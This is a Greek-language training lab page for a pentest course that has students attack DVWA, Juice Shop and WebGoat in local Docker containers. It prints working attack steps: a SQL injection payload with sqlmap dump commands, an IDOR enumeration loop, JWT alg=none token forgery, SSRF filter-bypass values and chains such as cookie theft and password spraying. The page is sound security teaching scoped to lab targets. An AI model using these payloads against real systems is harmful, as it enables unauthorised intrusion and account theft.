Skip to main content

OWASP Top 10 — Πρακτικό εργαστήριο

Παίρνετε το DVWA, το Juice Shop και το WebGoat, και τα τρία εκκινημένα με ένα μόνο docker compose. Ρίχνετε τρεις ευπάθειες τριών διαφορετικών κατηγοριών του Top 10. Για την καθεμία: αίτημα, απάντηση, απόδειξη αντικτύπου. Bonus: μια αλυσίδα που συνδέει τουλάχιστον δύο από αυτές.

Υπολογίστε: 3 ώ.

Παραδοτέο: ~/labs/rapport/owasp.md με τρεις πλήρεις καρτέλες + ~/labs/preuves/ με όλα τα τεχνουργήματα.

Πλαίσιο

Αυτές οι επιθέσεις εκτελούνται αποκλειστικά εναντίον του DVWA, του Juice Shop, του WebGoat ή ενός στόχου υπό ρητό rules of engagement. Καμία βολή προς τα έξω. Αυτό δεν είναι διαπραγματεύσιμο.


Προαπαιτούμενα​

Το Docker Desktop λειτουργικό (βλ. ενότητα 01). Καμία άλλη λήψη: το compose αναλαμβάνει τα πάντα.

Το Burp Suite Community εγκατεστημένο στον host σας (ελεύθερη λήψη: portswigger.net). Ο proxy του host αναχαιτίζει τα αιτήματα του browser σας προς τα containers, ακριβώς όπως στην πραγματική ζωή.

Το Firefox συνιστάται: πιο ανεκτικό με προσαρμοσμένο CA από το Chrome/Edge.


Βήμα 1 — Εκκίνηση του lab (3 λεπτά)​

cd labs/docker/module-07-owasp
docker compose up -d

Τέσσερα containers ξεκινούν. Υπολογίστε περίπου 60 δευτερόλεπτα για να είναι έτοιμο το WebGoat (Spring, βαρύ).

Ελέγξτε την υγεία:

cd ..
./verifier-lab.sh module-07-owasp # bash / macOS / Linux / WSL
.\verifier-lab.ps1 module-07-owasp # PowerShell

Ανοίξτε τους τρεις στόχους στον browser σας (μέσω του host, δημοσιευμένες θύρες):

  • DVWA — http://localhost:4280 — admin / password, μετά Create / Reset Database
  • Juice Shop — http://localhost:3000 — δεν απαιτείται λογαριασμός, εγγραφείτε για τις αυθεντικοποιημένες προκλήσεις
  • WebGoat — http://localhost:8888/WebGoat — εγγραφείτε, συνδεθείτε

Ένας φάκελος αποδείξεων στην πλευρά του επιτιθέμενου:

docker compose exec attaquant bash
mkdir -p ~/labs/{preuves,rapport}
cd ~/labs
Ορισμός — γιατί τρεις στόχοι και όχι απλώς Juice Shop ή DVWA

Κάθε στόχος αντιπροσωπεύει μια εποχή και ένα διαφορετικό stack της ανάπτυξης web, και ο καθένας εκθέτει μια οικογένεια ελαττωμάτων που οι άλλοι δύο δεν δείχνουν το ίδιο καλά.

Το DVWA (Damn Vulnerable Web Application) είναι γραμμένο σε PHP στο στυλ του 2005-2010: mysql_query, απλά cookies, κανένα framework. Είναι το καλύτερο έδαφος για να κατανοήσετε τα θεμελιώδη ελαττώματα — κλασική SQL injection, αντανακλαστικό XSS, file inclusion, upload χωρίς φιλτράρισμα. Βλέπετε τον πηγαίο κώδικα, βλέπετε το patch. Η δυσκολία ρυθμίζεται (Low/Medium/High/Impossible), κάτι που καθιστά τη μάθηση βαθμιαία.

Το Juice Shop είναι γραμμένο σε Node.js/Angular, το αρχέτυπο της σύγχρονης εφαρμογής web: REST API, JWT, SPA, backend Express, βάση SQLite. Τα ελαττώματα είναι αυτά που βρίσκουμε το 2026 σε startups — IDOR στο /api/basket, αποθηκευμένα XSS μέσω του API, κακώς υπογεγραμμένο JWT, NoSQL injection, σπασμένος οριζόντιος έλεγχος πρόσβασης. Είναι επίσης παιχνιδιάρικο: ο πίνακας βαθμολογίας κρατά ενημερωμένες τις προκλήσεις που λύσατε.

Το WebGoat είναι γραμμένο σε Java/Spring, το πιο κοινό stack στις μεγάλες επιχειρήσεις. Προσφέρει καθοδηγούμενα παιδαγωγικά σενάρια: κάθε μάθημα περιγράφει το πρόβλημα, παρέχει το πλαίσιο κώδικα, και επικυρώνει την εκμετάλλευσή σας. Εκεί εμβαθύνουμε στις λιγότερο ορατές κατηγορίες — κακώς φτιαγμένη κρυπτογράφηση (A02), σπασμένη αυθεντικοποίηση (A07), επικίνδυνη αποσειριοποίηση, έλεγχος πρόσβασης σε API JSON.

Μαζί, οι τρεις στόχοι καλύπτουν το σύνολο των δέκα κατηγοριών του OWASP Top 10 2021. Γι' αυτό τους εκκινούμε όλους ταυτόχρονα: επιλέγετε την καλύτερη εφαρμογή για κάθε άσκηση, αντί να στρεβλώνετε ένα lab για να το αναγκάσετε να εκθέσει ένα ελάττωμα που δεν γνωρίζει.


Βήμα 2 — Ρύθμιση του Burp (5 λεπτά)​

Στον host σας:

  1. Εκτελέστε το Burp Suite Community, επιλέξτε Temporary project, Use Burp defaults.
  2. Καρτέλα Proxy → Options, ελέγξτε ότι το Burp ακούει στο 127.0.0.1:8080.
  3. Στο Firefox: Preferences → Network Settings → Manual proxy configuration:
    • HTTP Proxy: 127.0.0.1, Port: 8080
    • Επιλέξτε Also use this proxy for HTTPS
  4. Ανοίξτε το http://burpsuite στο Firefox, κατεβάστε και εισάγετε το πιστοποιητικό CA (μέσω Settings → Certificates → View certificates → Import).

Γρήγορη δοκιμή: στο Proxy → Intercept, ενεργοποιήστε την αναχαίτιση. Ανανεώστε το http://localhost:4280 στο Firefox. Το Burp αναχαιτίζει, κάνετε κλικ στο Forward, η σελίδα εμφανίζεται.

Ορισμός — ο ρόλος του proxy και γιατί το Burp είναι απαραίτητο

Ένας proxy HTTP τοποθετείται ανάμεσα στον browser σας και τον διακομιστή. Κάθε αίτημα που εκπέμπει το Firefox περνά πρώτα από το Burp, που σας το δείχνει, σας αφήνει να το τροποποιήσετε, και μετά το προωθεί. Κάθε απάντηση κάνει την αντίστροφη διαδρομή. Έχετε πλήρη πρόσβαση σε ό,τι συμβαίνει στο καλώδιο, συμπεριλαμβανομένων των κεφαλίδων HTTP, των cookies, των σωμάτων αιτήματος/απάντησης.

Χωρίς αυτό το επίπεδο ελέγχου, τα μισά ελαττώματα web είναι αόρατα. Το IDOR στο /api/basket/2 απαιτεί την επανάληψη ενός αιτήματος αλλάζοντας έναν αριθμό. Η SQL injection απαιτεί την παρατήρηση του ακριβούς μηνύματος σφάλματος που επιστρέφει ο διακομιστής. Ο έλεγχος πρόσβασης απαιτεί την παραποίηση ενός cookie. Καμία από αυτές τις ενέργειες δεν είναι εφικτή από κανονικό browser — αλλά όλες είναι τετριμμένες από το Burp.

Το Burp Suite Community είναι δωρεάν και αρκεί για αυτό το εργαστήριο. Η έκδοση Pro προσθέτει αυτόματο scanner (Active Scan) και Intruder χωρίς περιορισμό ρυθμού, απαραίτητα σε επαγγελματική αποστολή. Η συλλογιστική, όμως, είναι ίδια και στις δύο εκδόσεις. Αποκτήστε τη συνήθεια στο Community: θα νιώσετε άνετα στο Pro από την πρώτη μέρα.


Βήμα 3 — Επιλογή 3 κατηγοριών (10 λεπτά)​

Πρέπει να καλύψετε 3 διαφορετικές κατηγορίες από αυτές τις έξι (τις πιο διαμορφωτικές):

ΚατηγορίαΣυνιστώμενο έδαφοςΣημειώσεις
A01 — Έλεγχος πρόσβασης (IDOR ή κάθετος)Juice Shop /api/basket/*Καθαρό IDOR, πολύ ορατό στο Burp.
A03 — SQL injectionDVWA SQL InjectionΚλασικό με sqlmap, βαθμιαία δυσκολία.
A03 — Αποθηκευμένο XSSJuice Shop Customer FeedbackΑπόδειξη αντικτύπου μέσω redirect ή keylogger.
A05 — Κακή ρύθμισηDVWA (κεφαλίδες, dir listing)Βρείτε το /config/config.inc.php.
A07 — Ταυτοποίηση/αυθεντικοποίησηJuice Shop /rest/user/login JWTJWT alg=none ή αδύναμο κλειδί.
A10 — SSRF / LFIWebGoat Server-Side Request ForgeryΚαθοδηγούμενο σενάριο, callback μέσω WebWolf.

Σημειώστε την επιλογή σας στην αρχή του rapport/owasp.md, με μία φράση αιτιολόγησης ανά κατηγορία. Η αιτιολόγηση είναι αυτό που δείχνει ότι σκέφτεστε την επίθεσή σας, όχι απλώς ότι πέφτετε πάνω σε ό,τι βρείτε.


Βήμα 4 — Επίθεση, κατηγορία 1 (60 λεπτά)​

Ας πάρουμε ένα συγκεκριμένο παράδειγμα: A03 — SQL injection στο DVWA.

  1. Ανοίξτε το http://localhost:4280, συνδεθείτε, ρυθμίστε Security = Low.
  2. Ανοίξτε το SQL Injection στο μενού.
  3. Στο πεδίο User ID:, στείλτε 1. Παρατηρήστε την απάντηση: όνομα
    • παρατσούκλι.
  4. Στείλτε 1' OR '1'='1. Όλος ο πίνακας εμφανίζεται — υπογραφή SQLi.

Στο Burp, στείλτε το αίτημα στο Repeater (Ctrl+R), μετά στο Intruder για να δοκιμάσετε πολλά payloads. Παράλληλα, από τον επιτιθέμενο Kali:

docker compose exec attaquant bash
sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=$COOKIE_DVWA" \
--batch --dump -D dvwa -T users

Ανακτήστε το cookie PHPSESSID από τα DevTools του Firefox. Το sqlmap εντοπίζει αυτόματα την injection, κάνει dump τον πίνακα dvwa.users, σπάει τα hashes MD5 των κωδικών.

Απόδειξη αντικτύπου: το περιεχόμενο του dvwa.users (5 λογαριασμοί), ο κωδικός admin σε απλό κείμενο («password»), και ένα screenshot της εντολής sqlmap που τελειώνει με [INFO] the back-end DBMS is MySQL.

Αποθηκεύστε το ίχνος:

sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=$COOKIE_DVWA" \
--batch --dump -D dvwa -T users --output-dir=preuves/sqli

Μετά, στο rapport/owasp.md, συμπληρώστε την καρτέλα:

## Ευπάθεια — A03: SQL injection στο DVWA /vulnerabilities/sqli

### Πλαίσιο
- URL: http://dvwa/vulnerabilities/sqli/?id=1
- Ρόλος: συνδεδεμένος χρήστης (οποιοσδήποτε)
- Δυσκολία DVWA: Low

### POC (τεχνική απόδειξη)
- Αίτημα που στάλθηκε:
```http
GET /vulnerabilities/sqli/?id=1' OR '1'='1&Submit=Submit HTTP/1.1
Host: dvwa
Cookie: security=low; PHPSESSID=xxxx
```
- Απάντηση (απόσπασμα): πέντε γραμμές επιστράφηκαν αντί για μία,
αποδεικνύοντας ότι η παράμετρος `id` συνενώνεται σε μια ρήτρα
`WHERE` χωρίς διαφυγή.

### Απόδειξη αντικτύπου
- Payload sqlmap: πλήρες dump του `dvwa.users`
- Αποτέλεσμα: 5 λογαριασμοί ανακτήθηκαν, μεταξύ των οποίων ο `admin`
σε απλό κείμενο (`password`), ο `gordonb` (`abc123`), ο `1337`
(`charley`).
- Τεχνουργήματα: `preuves/sqli/dump/dvwa/users.csv`, `preuves/sqli/log`

### Σύσταση
- Άμεσα: περάστε τις παραμέτρους μέσω προετοιμασμένων ερωτημάτων
(`mysqli::prepare`).
- Βάθος: στατικός έλεγχος του κώδικα PHP, προσθήκη WAF εφαρμογής,
εκπαίδευση των προγραμματιστών.

Κάθε ενότητα είναι υποχρεωτική. Χωρίς απόδειξη αντικτύπου, η καρτέλα δεν αξίζει τίποτα.


Βήμα 5 — Κατηγορία 2 (60 λεπτά)​

Ίδια απαίτηση, διαφορετική κατηγορία. Παράδειγμα: A01 — IDOR στο Juice Shop.

  1. Εγγραφείτε στο http://localhost:3000/#/register (user1@juice.local / Pentest1!).
  2. Συνδεθείτε, προσθέστε ένα προϊόν στο καλάθι.
  3. Ανοίξτε το Burp HTTP history, βρείτε το αίτημα GET /rest/basket/6 (το ID διαφέρει ανάλογα με τον χρήστη σας).
  4. Ξαναπαίξτε μέσω του Repeater αλλάζοντας /rest/basket/6 → /rest/basket/1. Αποκτάτε το καλάθι του admin.

Απόδειξη αντικτύπου: το περιεχόμενο JSON του καλαθιού 1 (πιθανώς πολλά ακριβά προϊόντα), και κυρίως το γεγονός ότι δεν γίνεται καμία επαλήθευση ανάμεσα στο token JWT του user1 και τον κάτοχο του καλαθιού 1.

Αυτοματοποιήστε από την πλευρά του επιτιθέμενου:

for i in 1 2 3 4 5 6 7 8 9 10; do
curl -s "http://juice-shop:3000/rest/basket/$i" \
-H "Authorization: Bearer $JWT" \
| jq . > preuves/idor/basket-$i.json
done

Ανακτάτε δέκα καλάθια δέκα διαφορετικών χρηστών σε τρία δευτερόλεπτα. Είναι ο ορισμός ενός αλυσιδώσιμου IDOR.


Βήμα 6 — Κατηγορία 3 (60 λεπτά)​

Ακόμη διαφορετική. Παράδειγμα: A07 — JWT alg=none στο Juice Shop.

  1. Ανακτήστε το τρέχον JWT σας μέσω του Burp (στην κεφαλίδα Authorization).
  2. Αποκωδικοποιήστε το στο https://jwt.io/#debugger-io. Header {"alg":"HS256"}, payload με το email σας.
  3. Τροποποιήστε το header σε {"alg":"none"}, αντικαταστήστε το email του payload με admin@juice-sh.op, αφαιρέστε την υπογραφή (απλώς header.payload.).
  4. Ξαναπαίξτε μέσω του Burp εισάγοντας αυτό το τροποποιημένο token.

Στις ευάλωτες εκδόσεις του Juice Shop, λειτουργεί: είστε admin. Στις διορθωμένες εκδόσεις, αποτυγχάνει — η τεκμηρίωση της αποτυχίας είναι επίσης απόδειξη.

Απόδειξη αντικτύπου: screenshot της διεπαφής admin (/#/administration), ή της ρητής άρνησης με το πλήρες ίχνος για την αναφορά σας.

Ορισμός — JWT και η παγίδα του alg=none

Ένα JSON Web Token (JWT) είναι μια συμπαγής συμβολοσειρά τριών μερών χωρισμένων με τελείες: ένα header JSON, ένα payload JSON, και μια υπογραφή. Η υπογραφή εγγυάται ότι κανείς δεν τροποποίησε το περιεχόμενο — υπολογίζεται από τον διακομιστή με ένα μυστικό κλειδί, και επαληθεύεται σε κάθε αίτημα.

Το header περιέχει ένα πεδίο alg που δηλώνει τον αναμενόμενο αλγόριθμο υπογραφής: HS256, RS256, ES384… Η αρχική προδιαγραφή προέβλεπε επίσης την τιμή none, που προοριζόταν να χρησιμοποιείται μόνο σε πλαίσια όπου η υπογραφή είναι περιττή (ήδη κρυπτογραφημένη από ανώτερο κανάλι). Στην πράξη, πολλές βιβλιοθήκες υλοποίησαν τον έλεγχο υπογραφής εμπιστευόμενες το πεδίο alg του header — αν ο πελάτης λέει alg=none, η βιβλιοθήκη δεν ελέγχει τίποτα.

Αποτέλεσμα: οποιοσδήποτε μπορεί να πλαστογραφήσει ένα token τροποποιώντας το payload, γράφοντας alg=none στο header, και αφαιρώντας την υπογραφή. Ο διακομιστής δέχεται το token ως έγκυρο και σας αυθεντικοποιεί με οποιαδήποτε ταυτότητα.

Το ελάττωμα είναι γνωστό από το 2015 και διορθωμένο σε όλες τις σύγχρονες βιβλιοθήκες, αλλά επιμένει ακόμη σε παλαιότερες εφαρμογές ή προσαρμοσμένες ρυθμίσεις. Είναι επίσης το καλύτερο παράδειγμα για να απεικονίσουμε την αρχή «ποτέ μην εμπιστεύεστε την πλευρά του πελάτη για να πει τι είναι». Ο διακομιστής πρέπει να επιβάλλει τον αλγόριθμο, να αγνοεί εντελώς το πεδίο alg του εισερχόμενου token, και να χρησιμοποιεί μόνο την εσωτερική του ρύθμιση για τον έλεγχο.


Βήμα 7 — Η αλυσίδα (30 λεπτά)​

Μία ελάχιστη αλυσίδα, που συνδυάζει δύο ευπάθειες που βρήκατε, παράγοντας αντίκτυπο μεγαλύτερο από το άθροισμα των μερών.

Παραδείγματα στέρεων αλυσίδων:

  • Αποθηκευμένο XSS → κλοπή cookie συνεδρίας admin → κατάληψη ελέγχου admin (Juice Shop Customer Feedback + πάνελ admin Juice Shop)
  • IDOR → απαρίθμηση όλων των email → password spraying → παραβίαση 10 λογαριασμών (Juice Shop /api/users + /rest/user/login)
  • SQLi → dump του αρχείου ρύθμισης → κλειδί JWT → πλαστογράφηση token admin (DVWA + Juice Shop, επαναχρησιμοποιώντας το κλειδί αν το ανακτήσετε)
  • LFI → ανάγνωση του /etc/passwd μετά του /proc/self/environ → ανάκτηση μυστικού εφαρμογής → πλαστογράφηση JWT
  • SSRF → ανάγνωση διαπιστευτηρίων AWS μέσω metadata → κατάληψη cloud (σενάριο WebGoat + υπενθυμίσεις ενότητας 11)

Τεκμηριώστε την αλυσίδα στο rapport/chaine.md:

# Αλυσίδα επίθεσης — <σύντομος τίτλος>

## Βήμα 1 — <ελάττωμα A>
Σύντομη περιγραφή, αναφέρετε το τεχνούργημα που χρησιμοποιήθηκε.

## Βήμα 2 — <ελάττωμα B>
Ομοίως.

## Βήμα 3 — <συνδυασμένη εκμετάλλευση>
Πώς η έξοδος του A χρησίμευσε ως είσοδος στο B.

## Συνδυασμένος αντίκτυπος
Μια δυνατή φράση, ποσοτικοποιημένη αν είναι δυνατόν ("παραβίαση 10 λογαριασμών χρηστών σε 3 λεπτά").

## Γιατί είναι πιο σοβαρό από το άθροισμα των μερών
Μια φράση: τι δεν θα επέτρεπε το καθένα μεμονωμένα.

Είναι το πιο πολύτιμο κομμάτι σε τεχνική συνέντευξη: να δείξετε ότι ξέρετε να αλυσιδώνετε.


Βήμα 8 — Πίνακας σύνθεσης (15 λεπτά)​

Προσθέστε στην αναφορά έναν συνοπτικό πίνακα:

| Κατηγορία | Τίτλος | Σοβαρότητα | Απόδειξη | Αλυσιδώσιμο |
| --- | --- | --- | --- | --- |
| A03 | SQLi στο DVWA /vulnerabilities/sqli | Κρίσιμη | preuves/sqli/ | Ναι, με A07 |
| A01 | IDOR στο /rest/basket (Juice Shop) | Υψηλή | preuves/idor/ | Ναι, με A03 |
| A07 | JWT alg=none (Juice Shop) | Κρίσιμη | preuves/jwt/ | Ναι, με A01 |

Πλέγμα αυτοαξιολόγησης​

  • Τρεις διαφορετικές κατηγορίες καλυμμένες.
  • Κάθε καρτέλα: πλαίσιο + POC + απόδειξη αντικτύπου + σύσταση.
  • Όλα τα αιτήματα/απαντήσεις εξαγόμενα από το Burp στο preuves/.
  • Καμία καρτέλα δεν περιορίζεται σε ένα alert(1) ή σε ένα id=1'--.
  • Μια αλυσίδα τεκμηριωμένη στο chaine.md με τουλάχιστον δύο ελαττώματα.
  • Πλήρης πίνακας σύνθεσης.
  • Καμία μαζική εξαγωγή δεδομένων (τήρηση του RoE του εργαστηρίου).
  • Όλες οι επιθέσεις σε εξουσιοδοτημένους στόχους — μόνο DVWA, Juice Shop, WebGoat.

Προαιρετική επέκταση — Γράψτε ένα template Nuclei​

Πάρτε την πιο απλή ευπάθεια που βρήκατε. Γράψτε ένα template Nuclei YAML που την εντοπίζει:

id: juice-shop-idor-basket
info:
name: Juice Shop - IDOR on /rest/basket
author: <εσείς>
severity: high

http:
- method: GET
path:
- '{{BaseURL}}/rest/basket/1'
headers:
Authorization: "Bearer {{token}}"
matchers:
- type: word
words:
- '"UserId":1'

Δοκιμάστε από το container επιτιθέμενου:

nuclei -u http://juice-shop:3000 -t votre-template.yaml

Ένα λειτουργικό template Nuclei είναι το ισοδύναμο ενός άρθρου blog — είναι αυτό που βάζουμε σε ένα portfolio.


Τι μπλοκάρει γενικά​

ΣύμπτωμαΑιτίαΔιόρθωση
Το Burp δεν βλέπει τίποταProxy μη ρυθμισμένο ή HTTPS μη αναχαιτισμένοΕλέγξτε 127.0.0.1:8080, εισάγετε το CA μέσω http://burpsuite.
Το sqlmap λέει not injectableΛάθος σημείο injectionΔιευκρινίστε -p id, προσαρμόστε --level=3 --risk=2.
Το payload XSS φιλτράρεταιΠολύ υψηλή δυσκολίαΕπιστρέψτε σε Low στο DVWA για να καταλάβετε, μετά ανεβάστε.
Το JWT alg=none απορρίπτεταιΔιορθωμένη έκδοσηΤεκμηριώστε ως παιδαγωγική αποτυχία — είναι επίσης απόδειξη.
Το SSRF δεν επιστρέφει τίποταΗ εφαρμογή φιλτράρει τις ιδιωτικές IPΔοκιμάστε 127.0.0.1, μετά localhost, μετά [::1], μετά 2130706433 (δεκαδικό).
Το WebGoat χάνει την πρόοδοΛηγμένη συνεδρίαΞανασυνδεθείτε, ξαναπαίξτε.
DVWA "Database error"Βάση μη αρχικοποιημένηsetup.php → Create/Reset Database.
Το docker compose exec attaquant αποτυγχάνειContainer δεν έχει ξεκινήσειdocker compose ps, docker compose up -d attaquant.

Τι κερδίζετε από αυτό το εργαστήριο​

  • Τρεις ευπάθειες πράγματι εκμεταλλευμένες, με αποδείξεις.
  • Μια αλυσίδα που δείχνει τον τρόπο σκέψης σας.
  • Μια αναφορά δομημένη όπως αυτή ενός pentest πελάτη.
  • Την ικανότητα να αναπαράγετε αυτές τις επιθέσεις σε τεχνική συνέντευξη, με το Docker Desktop ως μοναδική εξάρτηση.
  • Μια έκθεση σε τρία διαφορετικά stacks web (PHP legacy, Node σύγχρονο, Java Spring) — τους τρεις κόσμους που θα συναντήσετε στην καριέρα σας.

Επόμενο βήμα: το κουίζ της ενότητας. Μετά μπαίνουμε στην ενότητα 8 — Metasploit — όπου αυτοματοποιούμε και αλυσιδώνουμε σε μεγάλη κλίμακα.